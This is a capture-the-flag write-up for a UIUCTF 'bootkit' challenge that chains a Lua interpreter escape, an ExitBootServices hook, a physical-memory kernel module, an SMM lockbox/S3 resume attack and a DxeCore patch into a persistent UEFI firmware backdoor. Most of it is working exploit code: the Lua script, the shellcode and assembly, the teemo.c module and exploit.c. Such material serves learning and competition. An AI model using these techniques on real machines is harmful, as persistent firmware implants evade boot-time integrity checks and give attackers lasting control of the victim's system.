It’s 17 hours before the extended writeup deadline and 30 minutes after midnight. Time to do the bootkit writeup 😜.
- @unvariant
(why am I doing this)
(Also sorry in advance if I get any of the UEFI stuff wrong, my knowledge is a bit rusty…)
Our team was the first blood on this challenge, but 30 minutes after the CTF ended. If we had solved just a tiny bit faster we would have gotten first instead of second place :/
.
Anyways here is the challenge:
Ignoring all the fluff in the description theres a few important things to take note of:
- secret disks such that they detach themselves as soon as any keyboard input is detected
- the bootkit must survive the reboot
- TPM also hashes everything on the boot disk
- completely and utterly pwning the firmware… Lua.efi, but with persistance. SMM is Aleep, but with purpose.
- Asleep is spelled wrong.
The challenge works by booting the target machine twice inside of QEMU. On the first run the encrypted flag disk is not attached, but keyboard input is allowed. On the second run the encrypted flag disk is attached, but keyboard input is not allowed. From this we can infer that we are supposed to gain a foothold in the system during the first boot and somehow backdoor the system so during the second boot it will dump the flag.
The description mentions that the contents of the disk are verified by the TPM, so we can’t just backdoor the initramfs of the linux kernel. The description also mentions Lua.efi
and SMM is Aleep
which are two previous challenges. In Lua.efi
you gain arbitrary shellcode execution in a signed UEFI application running an embedded lua interpreter. In SMM is Aleep
you gain arbitrary code execution in SMM by launching an attack from linux.
If you take a look at the run file the argument to QEMU that provides the UEFI firmware looks like this:
-drive if=pflash,format=raw,unit=0,file=OVMF_CODE_copy.fd \
The readonly
attribute is missing, which means that writes to the UEFI firmware will persist across boots. Combined with the description only mentioning that the disk contents are verified, everything points to using the first boot to backdoor the UEFI firmware.
initial foothold
During the first boot, the machine presents two boot options, one is an embedded lua interpreter running inside of an UEFI application and the second is an alpine linux kernel. The linux kernel has been modified to add a custom sysctl:
From 5529f07d0e6abe6a1b0152d36ef831738058a4ad Mon Sep 17 00:00:00 2001From: YiFei Zhu <[email protected]>Date: Tue, 8 Jul 2025 21:05:20 -0700Subject: [PATCH] kernel/sysctl: Create /proc/sys/kernel/run_command
Just a read-only variable, nothing special yet.
Signed-off-by: YiFei Zhu <[email protected]>--- kernel/sysctl.c | 9 +++++++++ 1 file changed, 9 insertions(+)
diff --git a/kernel/sysctl.c b/kernel/sysctl.cindex 3b7a7308e35b..821f7235cbd4 100644--- a/kernel/sysctl.c+++ b/kernel/sysctl.c@@ -1587,7 +1587,16 @@ int proc_do_static_key(const struct ctl_table *table, int write, return ret; }
static char sysctl_run_command[100];
static const struct ctl_table kern_table[] = { { .procname = "run_command", .data = &sysctl_run_command, .maxlen = sizeof(sysctl_run_command), .mode = 0400, .proc_handler = proc_dostring, }, { .procname = "panic", .data = &panic_timeout,--2.50.0
Instead of giving a shell like normal the init script executes whatever is contained in the run_command
sysctl and then powers off. Booting into linux normally will do nothing since run_command
is empty and will result in an immediate reboot. Our only other option is to abuse our code execution inside of the lua interpreter to write a command into the run_command
sysctl.
FIELD TRIP TIME
First we need to understand how the linux image boots itself under UEFI. UEFI applications are actually just windows PE executables and is the only executable format that UEFI recognizes. The linux kernel image is wrapped inside of a loader called UKI. As far as I can tell all UKI does is embed the linux kernel and initramfs as PE sections inside of itself. Then at runtime when the application is invoked it extracts the kernel and initramfs, decompresses them, and executes the kernel as a UEFI application.
What happens after the kernel gets executed is irrelevant to us. What matters is that after the kernel is decompressed it can be modified before it is actually started. However, even though we have free code execution from the lua interpreter we can’t just inject a hook into the UKI loader code. The lua interpreter and UKI loader are separate options in the boot menu and only one of them will ever be loaded into memory at a time. We could have used the code execution in the lua interpreter to modify the copy of the UKI loader on the disk, but I wasn’t sure if this would trip the TPM verification.
Here is the code inside of the UKI loader that invokes the kernel:
if (rax_14 == EFI_SUCCESS) sub_14df98e36() rdi_10 = gBS->StartImage(ImageHandle: ImageHandle_1, ExitDataSize: nullptr, ExitData: nullptr)
if (rdi_10 == EFI_UNSUPPORTED) uint64_t rax_17 = zx.q(var_84)
if (rax_17.d != 0) rdi_10 = (rax_17 + *(Interface + 0x40))(ImageHandle_1, gST)
rdx_11 = "%s:%i@%s: Error starting kernel image: %m"
See the gBS
variable? That stands for Global Boot Services. The way UEFI works is by abstracting away all the nasty platform specific details into a nicely wrapped interface that you communicate with via the Global Boot Services and System Table. The Global Boot Services is a giant table of function pointers that allow UEFI applications to interact with the UEFI firmware. Turns out that in EDKII there is a single gBS
table that is passed to every single UEFI application. This means that modification to the gBS
will persist across applications.
My idea was this:
- code execution inside lua interpreter
- replace
gBS->StartImage
with a pointer to custom shellcode - custom shellcode is invoked after decompression but before the kernel is run
Now the issue with backdooring StartImage
is that this function is called all over the place in UEFI land. The custom shellcode would have to do some filtering to figure out when is the appropriate time to trigger the backdoored functionality. Thankfully my teammate @kroot
suggested something they had seen from writeups about bootkits in the wild. Turns out that gBS
hijacking is a fairly common technique except most bootkits hijack ExitBootServices
. This makes sense because before a bootloader fully hands off execution to the kernel it must call ExitBootServices
to signal to the UEFI firmware that the boot services are no longer necessary and can be cleaned up. This is a perfect function to hook because it is only called once and only after the kernel has been decompressed.
shell?!?!?!
Now that we have figured out how to get code to run while the kernel is booting and after the kernel has been decompressed we can finally turn our attention to modifying the run_command
sysctl. Turns out that in context we are executing in the backing memory of the run_command
variable hasn’t been mapped in yet (presumably because it resides in .bss memory). Since sysctls just contain a pointer to their data payload we can set the run_command
sysctl to the virtual address of a kernel string in .rodata
or .data
and write our custom command there instead.
+ mkdir -p /proc /dev /sys /etc /mnt+ mount -n -t proc -o nosuid,noexec,nodev proc /proc/+ mount -n -t devtmpfs -o mode=0755,nosuid,noexec devtmpfs /dev+ mount -n -t sysfs -o nosuid,noexec,nodev sys /sys+ mount -n -t tmpfs -o mode=1777 tmpfs /tmp+ mount -t efivarfs efivarfs /sys/firmware/efi/efivars+ mount -n -t securityfs securityfs /sys/kernel/security+ ln -s /proc/self/fd /dev/fd+ [[ ! -e /dev/tpm0 ]]+ [[ ! -e /dev/vda ]]++ dd if=/dev/vda bs=1 count=4/init: line 27: warning: command substitution: ignored null byte in input+ [[ \x1f\x8b\x08 == LUKS ]]++ dd if=/dev/vda bs=1 count=8 skip=65600/init: line 32: warning: command substitution: ignored null byte in input+ [[ \\x16\xe2\x92r\x7f\xa8 == _BHRfS_M ]]+ echo 'Error: Disk is corrupted'Error: Disk is corrupted++ cat /proc/sys/kernel/run_command+ [[ -n /bin/sh ]]+ cd /root++ cat /proc/sys/kernel/run_command+ exec setsid bash -lc /bin/sh/root #
SHELL!!!!!!! THIS IS LIKE PART 1 OF 4!!!!!!!! ITS 2 AM RIGHT NOW!!!!!
Here is the lua script that overwrites the run_command
variable:
as_num = string.dump(function(...) for n = ..., ..., 0 do return n end end)as_num = as_num:gsub("\x21", "\x17", 1)as_num = assert(load(as_num))function addr_of(x) return as_num(x) * 2^1000 * 2^74 endfunction ub8(n) t = {} for i = 1, 8 do b = n % 256 t[i] = string.char(b) n = (n - b) / 256 end return table.concat(t)endupval_assign = string.dump(function(...) local magic (function(func, x) (function(func) magic = func end)(func) magic = x end)(...)end)upval_assign = upval_assign:gsub("(magic\x00\x01\x00\x00\x00\x01)\x00", "%1\x01", 1)upval_assign = assert(load(upval_assign))function make_CClosure(f, up) co = coroutine.wrap(function()end) offsetof_CClosure_f = 24 offsetof_CClosure_upvalue0 = 32 sizeof_TString = 24 offsetof_UpVal_v = 16 offsetof_Proto_k = 16 offsetof_LClosure_proto = 24 upval1 = ub8(addr_of(co) + offsetof_CClosure_f) func1 = ub8(addr_of("\x00\x00\x00\x00\x00\x00\x00\x00") - offsetof_Proto_k) .. ub8(addr_of(upval1) + sizeof_TString - offsetof_UpVal_v) upval2 = ub8(addr_of(co) + offsetof_CClosure_upvalue0) func2 = func1:sub(1, 8) .. ub8(addr_of(upval2) + sizeof_TString - offsetof_UpVal_v) upval_assign((addr_of(func1) + sizeof_TString - offsetof_LClosure_proto) * 2^-1000 * 2^-74, f * 2^-1000 * 2^-74) upval_assign((addr_of(func2) + sizeof_TString - offsetof_LClosure_proto) * 2^-1000 * 2^-74, up) return coendshellcode = "\x50\x51\x52\x53\x54\x55\x57\x56".."\xb8\x18\xc0\x0e\x1e\x48\xba\x49".."\x42\x49\x20\x53\x59\x53\x54\x48".."\x39\x10\x74\x08\x48\x05\x00\x00".."\x10\x00\xeb\xf3\x48\x8b\x40\x60".."\x48\x8b\x90\xe8\x00\x00\x00\x48".."\x89\x15\x17\x00\x00\x00\x48\x8d".."\x15\x18\x00\x00\x00\x48\x89\x90".."\xe8\x00\x00\x00\x5e\x5f\x5d\x5c".."\x5b\x5a\x59\x58\xc3\x00\x00\x00".."\x00\x00\x00\x00\x00\x50\x52\xb8".."\x60\xcb\x60\x02\x48\xc7\xc2\xc6".."\x8c\xce\x81\x48\x89\x50\x08\x5a".."\x58\xff\x25\xde\xff\xff\xff\xcc"shellcode_addr = addr_of(shellcode)+0x18print(shellcode_addr)teemo = make_CClosure(shellcode_addr)teemo()os.exit()
This is the actual assembly code that gets executed:
BITS 64 DEFAULT REL
_start: push rax push rcx push rdx push rbx push rsp push rbp push rdi push rsi
mov rax, 0x1e0ec018 mov rdx, 0x5453595320494249.find_system_services: cmp qword [rax], rdx je .found add rax, 0x100000 jmp .find_system_services
.found: mov rax, qword [rax + 0x60] mov rdx, qword [rax + 0xe8] mov qword [rel original], rdx lea rdx, [rel backdoor] mov qword [rax + 0xe8], rdx
pop rsi pop rdi pop rbp pop rsp pop rbx pop rdx pop rcx pop rax retoriginal: dq 0backdoor: push rax push rdx
;;; location of run_command sysctl structure mov rax, 0xc00000 + 0x1a0cb60 ;;; virtual address of /bin/sh string mov rdx, 0xffffffff81ce8cc6 mov qword [rax + 0x08], rdx
pop rdx pop rax jmp qword [rel original]
The shellcode scans for the System Table in memory by searching for the 8 byte signature IBI SYST
. The System Table always hold a pointer to the Global Boot Services. Once the Global Boot Services has been located the ExitBootServices
function pointer can be replaced with a pointer to the second stage of the shellcode. The second stage sets run_command
to /bin/sh
and executes the original ExitBootServices
function.
pwning SMM
We have gotten shell access but remember since this is first boot the disk containing the flag isn’t attached to the machine. What we can do now is use our newfound shell access to run our SMM is Aleep
attack and get SMM code execution. I’ll probably release a writeup about my exact SMM is Aleep
solution later sometime within the next year. But the gist of it is this:
- create a smm lockbox entry at the specific address
S3Resume2Pei.efi
will be loaded to when returning from S3 sleep - set the
RestoreInPlace
attribute - trigger S3 sleep
- exit S3 sleep
- part of
S3Resume2Pei.efi
is overwritten with our shellcode when it attempts to restore the smm lockbox contents in place
Even though our shellcode is running in ring 0 and not in SMM mode, we manage to hijack execution early enough that SMRAM isn’t locked down yet. This means we can still access SMRAM and the shellcode installs a backdoor inside of the smm lockbox code.
how2backdoor
Since the challenge distributes a copy of the UEFI firmware running on remote, it is possible to insert a backdoor into our local copy and embed the backdoored version into the SMM exploit payload. The issue with this is that the full UEFI firmware is about 3.5M
and even when compressed is still 1.7M
. I don’t want to send 1.7 megabytes of base64’d text over to remote since it would take forever and probably time out. Thankfully the author took pity on us and provided a UEFIReplace
binary on remote for us to use. UEFIReplace
is part of the UEFITool
suite of tools used to perform inspection, extraction, and modification of UEFI firmware. With this our steps now look like this:
- dump firmware
- insert backdoored module into firmware
- write firmware back into flash
While I was getting all the linux and smm backdoors working and consistent my teammate @kroot
was working on figuring out how to use UEFIReplace
and how to dump the firmware.
dumping the firmware
Eventually @kroot
figured out that reading the firmware didn’t require any special privileges and can be dumped from memory. The only issue was figuring out exactly where in memory the flash was memory mapped. Snooping around in the UEFI boot debug logs yields these two lines:
VirtHstiQemuFirmwareFlashCheck: FFC00010 behaves as ROMVirtHstiQemuFirmwareFlashCheck: FFC84010 behaves as ROM
The size of the OVMF_VARS.fd
file which is passed as one of the flash files to QEMU is exactly 0x84000 bytes. The first region probably contains OVMF_VARS.fd
while the second region probably contains OVMF_CODE.fd
. Dumping the second region confirmed that this was indeed the memory mapped flash region for OVMF_CODE.fd
.
FIELD TRIP TIME AGAIN
Normally with root permissions on linux the easiest way to directly access physical memory is through /dev/mem
. The only problem is that /dev/mem
doesn’t actually give indiscriminate access to physical memory and tries to limit you to sane regions it knows are safe. But for our purposes that is not enough. We need access to regions of physical memory /dev/mem
refuses to grant access to. There is probably a cleaner way to handle this but I ended up writing a kernel module that uses ioremap
to grant almost arbitrary access to physical memory.
Although ioremap is less strict than
/dev/mem
it still does some filtering. I don’t actually know how to map arbitrary physical memory using the linux kernel functionality. The easiest method that I know of would be to manually edit the page tables and insert new entries which instead is not ideal since it is bypassing linux’s normal memory management systems.
#include <asm/io.h>#include <linux/fs.h>#include <linux/init.h>#include <linux/kernel.h>#include <linux/miscdevice.h>#include <linux/mm.h>#include <linux/module.h>
typedef struct { unsigned long addr; void *uptr; unsigned long ulen;} Payload;
static long teemo_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { Payload payload; if (copy_from_user(&payload, (const void *)arg, sizeof(Payload))) { return -EFAULT; } char buf[0x2000]; unsigned long page = payload.addr & ~0xFFF; unsigned long offset = payload.addr & 0xFFF; if (payload.ulen > sizeof(buf)) { return -EINVAL; } if (offset + payload.ulen > 0x2000) { return -EINVAL; }
long err = 0; void *mem = ioremap(page, 0x2000); if (mem == NULL) { err = -EPERM; goto out; }
if (cmd == 1) { if (copy_from_user(&buf, payload.uptr, payload.ulen)) { err = -EFAULT; goto out; }
memcpy(mem + offset, buf, payload.ulen); } else { memcpy(buf, mem + offset, payload.ulen); if (copy_to_user(payload.uptr, buf, payload.ulen)) { err = -EFAULT; goto out; } }
out: iounmap(mem); return err;}
static struct file_operations teemo_fops = { .owner = THIS_MODULE, .unlocked_ioctl = teemo_ioctl,};
static struct miscdevice teemo_device = { .minor = MISC_DYNAMIC_MINOR, .name = "teemo", .fops = &teemo_fops,};
static int teemo_init(void) { misc_register(&teemo_device); return 0;}
module_init(teemo_init);MODULE_LICENSE("GPL");
This is needed in order to access the SMMC structure to communicate with SMM code and access the memory mapped flash region.
backdooring the firmware
All the firmware backdoor has to do is what the initial lua exploit was doing. We backdoor the main UEFI module that contains the code for CoreExitBootServices
. The entrypoint of the function was modified with a trampoline that jmps to shellcode that sets the run_command
sysctl and then transfers control back to the original CoreExitBootServices
function. @kroot
was in charge of handling the backdooring of the module.
Hi @kroot
here to explain the backdoor. To patch CoreExitBootServices
, I opened DxeCore.debug to see symbols and DxeCore.efi to actually patch. I also picked a random function which was hopefully not called to store the shellcode. I patched the beginning of CoreExitBootServices
with:
lea rax, [rel 0x109a2]call rax
This shellcode jumps to IoioExit
, which was patched to contain the following shellcode:
BITS 64 DEFAULT REL
_start: pop rax push rcx push rdx push rbx push rsp push rbp push rdi push rsi
push rax
mov rax, cr0 and rax, ~(1<<16) mov cr0, rax
mov rax, 0xc00000 + 0x1a0cb60 mov rdx, 0xc00000 + 0x1f4a6e0 mov rcx, 0xffffffff81f4a6e0 mov qword [rax + 0x08], rcx
mov rax, 0x746e6d2f20746163 mov qword [rdx], rax mov rax, 0x00000067616c662f mov qword [rdx+8], rax
pop rax
pop rsi pop rdi pop rbp pop rsp pop rbx pop rdx pop rcx
push rbp mov rbp, rsp push r13 push r12 push rdi
jmp rax
With the patched UEFI module, you can send it to the server and generate a patched OVMF_CODE.fd
with:
./UEFIReplace ../run/OVMF_CODE.fd D6A2CB7F-6A18-4E2F-B43B-9920A733700A 0x10
backdoor explanation
The code isn’t cleaned up at all but the main part is this code:
;;; address of run_command sysctl mov rax, 0xc00000 + 0x1a0cb60 ;;; address of modprobe_path mov rdx, 0xc00000 + 0x1f4a6e0 ;;; virtual address of modprobe_path mov rcx, 0xffffffff81f4a6e0 ;;; set run_command payload to point to modprobe_path mov qword [rax + 0x08], rcx
;;; write the command into modprobe_path ;;; the command is `cat /mnt/flag` mov rax, 0x746e6d2f20746163 mov qword [rdx], rax mov rax, 0x00000067616c662f mov qword [rdx+8], rax
I’m pretty sure this part of the code isn’t necessary and was just left over from whatever we were previously doing.
mov rax, cr0 and rax, ~(1<<16) mov cr0, rax
rewriting the firmware
Writing to the firmware is a bit more complex than reading. First you need to be executing in SMM because flash reprogramming is only allowed from a secure context. @kroot
figured out that internally the flash writes are managed by a state machine. While the flash supports quite a few fancy commands the easiest mode is single byte writes. The code to program a single byte of flash looks like this:
mov byte ptr [rdi], 0x40 mov byte ptr [rdi], al
Where rdi
is the base of the flash memory region plus the offset into the flash. al
contains the byte to write into the flash.
Using the SMM code execution capability from SMM is Aleep
we backdoor the smm lockbox with some custom shellcode. The shellcode accepts a 0x800 block of memory to write into the flash. Once the SMM backdoor is installed the new firmware can be painstakingly written into the flash in 0x800 byte chunks. Why 0x800 specifically? Because of the shitty code I wrote in my kernel module. The exploit would start breaking if I tried to increase the block size to 0x1000, so I halved the transfer size and called it a day.
final exploit
first boot
- boot lua interpreter
- shellcode execution
- backdoor
ExitBootServices
- exit lua interpreter
- boot linux
- backdoor overwrites
run_command
- load
teemo.ko
for physical memory access - lockbox attack for SMM code execution
- dump UEFI firmware
- insert backdoored module into firmware
- write firmware back into flash
second boot
- play a game of aram
- watch the flag get printed
flag
uiuctf{I_have_friends_everywhere:_smm_kernel_and_userspace_53fbc31c}
closing thoughts
Overall I really liked the challenge, even if the vulnerabilities were quite contrived. It was fun to go though the process of building the full chain exploit, having to string everything together and making the exploit stable. After solving Lua.efi
and SMM is Aleep
it was pretty obvious what the solve path for bootkit
was.
WRITEUP FINISHED!!!!! IM FREEEE!!!!
me rn:
(its 4 am)
files
template.lua
as_num = string.dump(function(...) for n = ..., ..., 0 do return n end end)as_num = as_num:gsub("\x21", "\x17", 1)as_num = assert(load(as_num))function addr_of(x) return as_num(x) * 2^1000 * 2^74 endfunction ub8(n) t = {} for i = 1, 8 do b = n % 256 t[i] = string.char(b) n = (n - b) / 256 end return table.concat(t)endupval_assign = string.dump(function(...) local magic (function(func, x) (function(func) magic = func end)(func) magic = x end)(...)end)upval_assign = upval_assign:gsub("(magic\x00\x01\x00\x00\x00\x01)\x00", "%1\x01", 1)upval_assign = assert(load(upval_assign))function make_CClosure(f, up) co = coroutine.wrap(function()end) offsetof_CClosure_f = 24 offsetof_CClosure_upvalue0 = 32 sizeof_TString = 24 offsetof_UpVal_v = 16 offsetof_Proto_k = 16 offsetof_LClosure_proto = 24 upval1 = ub8(addr_of(co) + offsetof_CClosure_f) func1 = ub8(addr_of("\x00\x00\x00\x00\x00\x00\x00\x00") - offsetof_Proto_k) .. ub8(addr_of(upval1) + sizeof_TString - offsetof_UpVal_v) upval2 = ub8(addr_of(co) + offsetof_CClosure_upvalue0) func2 = func1:sub(1, 8) .. ub8(addr_of(upval2) + sizeof_TString - offsetof_UpVal_v) upval_assign((addr_of(func1) + sizeof_TString - offsetof_LClosure_proto) * 2^-1000 * 2^-74, f * 2^-1000 * 2^-74) upval_assign((addr_of(func2) + sizeof_TString - offsetof_LClosure_proto) * 2^-1000 * 2^-74, up) return coend[SHELLCODE]shellcode_addr = addr_of(shellcode)+0x18print(shellcode_addr)teemo = make_CClosure(shellcode_addr)teemo()os.exit()
stager.asm
BITS 64 DEFAULT REL
_start: push rax push rcx push rdx push rbx push rsp push rbp push rdi push rsi
mov rax, 0x1e0ec018 mov rdx, 0x5453595320494249.find_system_services: cmp qword [rax], rdx je .found add rax, 0x100000 jmp .find_system_services
.found: mov rax, qword [rax + 0x60] mov rdx, qword [rax + 0xe8] mov qword [rel original], rdx lea rdx, [rel backdoor] mov qword [rax + 0xe8], rdx
pop rsi pop rdi pop rbp pop rsp pop rbx pop rdx pop rcx pop rax retoriginal: dq 0backdoor: push rax push rdx
;;; location of run_command sysctl structure mov rax, 0xc00000 + 0x1a0cb60 ;;; virtual address of /bin/sh string mov rdx, 0xffffffff81ce8cc6 mov qword [rax + 0x08], rdx
pop rdx pop rax jmp qword [rel original]
; system table; 0x1e5ec018; 0x1e7ec018; 0x1e7ec018; 0x1e9ec018; bzImage; 0x15247ceb; run_command string; 0x28fcfdf; kernel base; 0x28fcfdf - 0x1cfcfdf; = 0xc00000; kern_table offset; 0x1a0cb60; sysctl_run_command offset; 0x24a9360
teemo.c
#include <asm/io.h>#include <linux/fs.h>#include <linux/init.h>#include <linux/kernel.h>#include <linux/miscdevice.h>#include <linux/mm.h>#include <linux/module.h>
typedef struct { unsigned long addr; void *uptr; unsigned long ulen;} Payload;
static long teemo_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { Payload payload; if (copy_from_user(&payload, (const void *)arg, sizeof(Payload))) { return -EFAULT; } char buf[0x2000]; unsigned long page = payload.addr & ~0xFFF; unsigned long offset = payload.addr & 0xFFF; if (payload.ulen > sizeof(buf)) { return -EINVAL; } if (offset + payload.ulen > 0x2000) { return -EINVAL; }
long err = 0; void *mem = ioremap(page, 0x2000); if (mem == NULL) { err = -EPERM; goto out; }
if (cmd == 1) { if (copy_from_user(&buf, payload.uptr, payload.ulen)) { err = -EFAULT; goto out; }
memcpy(mem + offset, buf, payload.ulen); } else { memcpy(buf, mem + offset, payload.ulen); if (copy_to_user(payload.uptr, buf, payload.ulen)) { err = -EFAULT; goto out; } }
out: iounmap(mem); return err;}
static struct file_operations teemo_fops = { .owner = THIS_MODULE, .unlocked_ioctl = teemo_ioctl,};
static struct miscdevice teemo_device = { .minor = MISC_DYNAMIC_MINOR, .name = "teemo", .fops = &teemo_fops,};
static int teemo_init(void) { misc_register(&teemo_device); return 0;}
module_init(teemo_init);MODULE_LICENSE("GPL");
exploit.c
#include "pwnc.h"#include <stddef.h>#include <sys/io.h>#include <sys/param.h>#include <sys/syscall.h>
typedef struct { uint32_t Data1; uint16_t Data2; uint16_t Data3; uint8_t Data4[8];} Guid;
#define EFI_SMM_LOCK_BOX_COMMAND_SAVE 0x1#define EFI_SMM_LOCK_BOX_COMMAND_UPDATE 0x2#define EFI_SMM_LOCK_BOX_COMMAND_RESTORE 0x3#define EFI_SMM_LOCK_BOX_COMMAND_SET_ATTRIBUTES 0x4#define EFI_SMM_LOCK_BOX_COMMAND_RESTORE_ALL_IN_PLACE 0x5
#define EFI_BOOT_SCRIPT_DISPATCH_OPCODE 0x08#define S3_BOOT_SCRIPT_LIB_TERMINATE_OPCODE 0xFF
typedef struct { uint32_t Command; uint32_t DataLength; uint64_t ReturnStatus;} LockBoxHeader;
typedef struct { LockBoxHeader Header; Guid Guid; uint64_t Buffer; uint64_t Length;} LockBoxSave;
typedef struct { LockBoxHeader Header; Guid Guid; uint64_t Buffer; uint64_t Length;} LockBoxRestore;
typedef struct { LockBoxHeader Header; Guid Guid; uint64_t Offset; uint64_t Buffer; uint64_t Length;} LockBoxUpdate;
typedef struct { LockBoxHeader Header; Guid Guid; uint64_t Attributes;} LockBoxAttributes;
Guid boot_script_guid = {0xaea6b965, 0xdcf5, 0x4311, {0xb4, 0xb8, 0xf, 0x12, 0x46, 0x44, 0x94, 0xd2}};
Guid lockbox_guid = {0x2a3cfebd, 0x27e8, 0x4d0a, {0x8b, 0x79, 0xd6, 0x88, 0xc2, 0xa3, 0xe1, 0xc0}};
Guid trampoline_guid = {0x41414141, 0x4141, 0x4141, {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41}};
typedef struct __attribute__((packed)) { uint16_t OpCode; uint8_t Length; uint64_t EntryPoint;} ScriptDispatch;
typedef struct __attribute__((packed)) { uint16_t OpCode; uint8_t Length;} ScriptTerminate;
typedef struct __attribute__((packed)) { Guid guid; uint64_t len; union { LockBoxSave save; LockBoxRestore restore; LockBoxUpdate update; LockBoxAttributes attr; };} Comm;
typedef struct __attribute__((packed)) { char signature[4]; char padding[52]; long comm; long size; long status;} Smmc;
__attribute__((always_inline)) void trigger_smi() { asm volatile(".intel_syntax noprefix;" "xor eax, eax;" "out 0xb3, eax;" "out 0xb2, eax;" ".att_syntax prefix;" :: : "rax");}
extern char _binary_teemo_ko_start;extern char _binary_teemo_ko_end;int teemo;
typedef struct { unsigned long addr; void *uptr; unsigned long ulen;} Payload;
bool logging = true;
long _physwrite(long addr, void *buf, size_t len) { if (logging) info("physwrite(%p)", addr); Payload payload; payload.addr = addr; payload.uptr = buf; payload.ulen = len; return ioctl(teemo, 1, &payload);}
long _physread(long addr, void *buf, size_t len) { if (logging) info("physread(%p)", addr); Payload payload; payload.addr = addr; payload.uptr = buf; payload.ulen = len; return ioctl(teemo, 0, &payload);}
void physwrite(long addr, void *buf, size_t len) { chk(_physwrite(addr, buf, len));}
void physread(long addr, void *buf, size_t len) { chk(_physread(addr, buf, len));}
extern char shellcode_start;extern char shellcode_end;extern char shellcode_flag;extern char trampoline_start;extern char trampoline_end;
#define S3ResumeBase (0x00000852CC0)#define SmmcBase___ (0x10000000 + 0xe8bf160)#define CommBase (0x1eb7f000)
long smmc_loc = 0xabab;long comm_loc = CommBase;long shellcode_loc = 0xbeef;long trampoline_loc = S3ResumeBase + 0x289f;long shellcode_size;Smmc smmc;Comm comm;
void calculate_comm_address() { int fd = chk(open("/sys/firmware/memmap/15/start", O_RDONLY)); char buf[32] = {0}; chk(read(fd, buf, sizeof(buf))); comm_loc = strtol(buf, NULL, 0); info("comm_loc = %p", comm_loc); shellcode_loc = comm_loc + 0x800;}
void calculate_smmc_address() { long offset = 0xe600160; long addr; int i; while (true) { addr = 0x10000000 + offset; long status = _physread(addr, &smmc, sizeof(Smmc)); if (status == 0) { if (memcmp(&smmc, "smmc", 4) == 0) break; }
offset += 0x1000; }
smmc_loc = addr; info("smmc_loc = %p", smmc_loc);}
void smm_command() { memcpy(smmc.signature, "smmc", sizeof(smmc.signature)); smmc.comm = comm_loc; smmc.size = offsetof(Comm, restore) + comm.len; smmc.status = 0; physwrite(smmc_loc, &smmc, sizeof(Smmc)); physwrite(comm_loc, &comm, sizeof(Comm)); trigger_smi(); physread(smmc_loc, &smmc, sizeof(Smmc)); physread(comm_loc, &comm, sizeof(Comm)); info("smmc.status = %ld", smmc.status); info("comm.status = %ld", comm.restore.Header.ReturnStatus);}
void s3_sleep() { int power = chk(open("/sys/power/state", O_WRONLY)); char power_state[] = "mem"; chk(write(power, power_state, strlen(power_state)));}
extern char _binary_DxeCore_patched_efi_start;extern char _binary_DxeCore_patched_efi_end;
void dump_firmware() { uint64_t base = 0xFFC84000; uint64_t size = 0x37c000; uint64_t offset = 0; char chunk[0x1000]; int outfd = chk(open("OVMF_CODE.fd", O_WRONLY | O_CREAT, 0666)); while (size > 0) { info("offset = %p/0x37c000", offset); physread(base + offset, &chunk, MIN(sizeof(chunk), size)); chk(write(outfd, &chunk, MIN(sizeof(chunk), size))); offset += sizeof(chunk); size -= sizeof(chunk); }}
void write_firmware() { logging = false; int fd = chk(open("OVMF_CODE_skibidi.fd", O_RDONLY)); struct { u64 base; u8 data[0x800]; } state;
u64 state_offset = &shellcode_flag - &shellcode_start; u64 base = 0xFFC84000; for (size_t i = 0; i < 0x37c000; i += 0x800) { info("offset = %p/0x37c000", i); state.base = base + i; int nbytes = chk(read(fd, &state.data, sizeof(state.data))); if (nbytes != sizeof(state.data)) { panic("partial read???"); }
physwrite(shellcode_loc + state_offset, &state, sizeof(state));
comm.guid = lockbox_guid; comm.len = sizeof(LockBoxUpdate); comm.update.Header.Command = EFI_SMM_LOCK_BOX_COMMAND_UPDATE; comm.update.Header.DataLength = sizeof(LockBoxUpdate); comm.update.Header.ReturnStatus = 0x1337; comm.update.Guid = trampoline_guid; comm.update.Buffer = 0xaaaa; comm.update.Length = 0xbbbb; smm_command(); }}
int main(int argc) { setbuf(stdout, NULL); setbuf(stderr, NULL); raise_fd_limit(); pin_to_cpu(0); chk(ioperm(0, 0x100, 1)); try(syscall(SYS_init_module, &_binary_teemo_ko_start, &_binary_teemo_ko_end - &_binary_teemo_ko_start, "")); teemo = chk(open("/dev/teemo", O_RDWR)); calculate_comm_address(); calculate_smmc_address(); shellcode_size = &shellcode_end - &shellcode_start;
if (argc == 2) { write_firmware(); exit(0); }
info("dumping firmware"); dump_firmware(); info("dumped firmware"); int dxe = chk(open("DxeCore_patched.efi", O_CREAT | O_WRONLY, 0666)); chk(write(dxe, &_binary_DxeCore_patched_efi_start, &_binary_DxeCore_patched_efi_end - &_binary_DxeCore_patched_efi_start)); close(dxe); info("patching..."); system("./UEFIReplace ./OVMF_CODE.fd D6A2CB7F-6A18-4E2F-B43B-9920A733700A " "0x10 DxeCore_patched.efi -o OVMF_CODE_skibidi.fd"); info("done patching!");
physwrite(shellcode_loc, &shellcode_start, shellcode_size);
u8 trampoline[6] = {0x68, 0xff, 0xff, 0xff, 0xff, 0xc3}; ((u32 *)(trampoline + 1))[0] = (u32)shellcode_loc; const long trampoline_size = sizeof(trampoline); info("trampoline_size = %d", trampoline_size);
comm.guid = lockbox_guid; comm.len = sizeof(LockBoxSave); comm.save.Header.Command = EFI_SMM_LOCK_BOX_COMMAND_SAVE; comm.save.Header.DataLength = sizeof(LockBoxSave); comm.save.Header.ReturnStatus = 0; comm.save.Guid = trampoline_guid; comm.save.Buffer = trampoline_loc; comm.save.Length = trampoline_size; physwrite(trampoline_loc, &trampoline, trampoline_size); smm_command();
comm.guid = lockbox_guid; comm.len = sizeof(LockBoxAttributes); comm.attr.Header.Command = EFI_SMM_LOCK_BOX_COMMAND_SET_ATTRIBUTES; comm.attr.Header.DataLength = sizeof(LockBoxAttributes); comm.attr.Header.ReturnStatus = 0; comm.attr.Guid = trampoline_guid; comm.attr.Attributes = 1; smm_command();
s3_sleep();}
/*00c3d2b0 73 6d 6d 63 00 00 00 00 00 00 00 00 00 00 00 00 |smmc............|0eacd160 73 6d 6d 63 00 00 00 00 98 ce 02 0e 00 00 00 00 |smmc............|
0xffda0000xffdbf070xffda000 + 0x2743*/
pwnc.h
#ifndef _PWNC_H_#define _PWNC_H_
